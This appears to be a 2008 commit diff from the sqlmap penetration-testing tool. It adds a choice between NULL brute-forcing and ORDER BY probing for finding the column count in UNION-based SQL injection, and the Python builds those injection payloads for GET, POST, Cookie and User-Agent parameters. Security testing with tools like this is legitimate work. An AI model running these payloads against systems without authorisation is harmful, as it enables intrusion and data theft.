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Minor enhancement to support an option (--union-tech) to specify the

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technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause.
This commit is contained in:
Bernardo Damele
2008-12-21 21:39:53 +00:00
parent f92b76a8b0
commit 4ae464c80d
6 changed files with 105 additions and 33 deletions
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98
lib/techniques/inband/union/test.py
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@@ -33,14 +33,34 @@ from lib.core.session import setUnion
from lib.request.connect import Connect as Request
def __effectiveUnionTest(query, comment):
def __forgeUserFriendlyValue(payload):
value = ""
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % payload
return value
def __unionTestByNULLBruteforce(comment):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
resultDict = {}
columns = None
value = None
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for count in range(0, 50):
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
@@ -53,32 +73,38 @@ def __effectiveUnionTest(query, comment):
query += " FROM DUAL"
commentedQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=commentedQuery)
newResult = Request.queryPage(payload, getSeqMatcher=True)
payload = agent.payload(newValue=commentedQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if not newResult in resultDict.keys():
resultDict[newResult] = (1, commentedQuery)
else:
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
if seqMatcher >= 0.6:
columns = count + 1
value = __forgeUserFriendlyValue(payload)
if count > 3:
for ratio, element in resultDict.items():
if element[0] == 1 and ratio > 0.5:
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, element[1])
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % element[1]
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % element[1]
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % element[1]
break
return value
return value, columns
return None
def __unionTestByOrderBy(comment):
columns = None
value = None
for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count)
orderByQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=orderByQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count
elif columns:
value = __forgeUserFriendlyValue(prevPayload)
break
prevPayload = payload
return value, columns
def unionTest():
@@ -87,19 +113,29 @@ def unionTest():
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.uTech == "ob":
technique = "ORDER BY clause"
else:
technique = "NULL bruteforcing"
logMsg = "testing inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(logMsg)
value = ""
query = agent.prefixQuery(" UNION ALL SELECT NULL")
value = ""
columns = None
for comment in (queries[kb.dbms].comment, ""):
value = __effectiveUnionTest(query, comment)
if conf.uTech == "ob":
value, columns = __unionTestByOrderBy(comment)
else:
value, columns = __unionTestByNULLBruteforce(comment)
if value:
setUnion(comment, value.count("NULL"))
print value
print columns
if columns:
setUnion(comment, columns)
break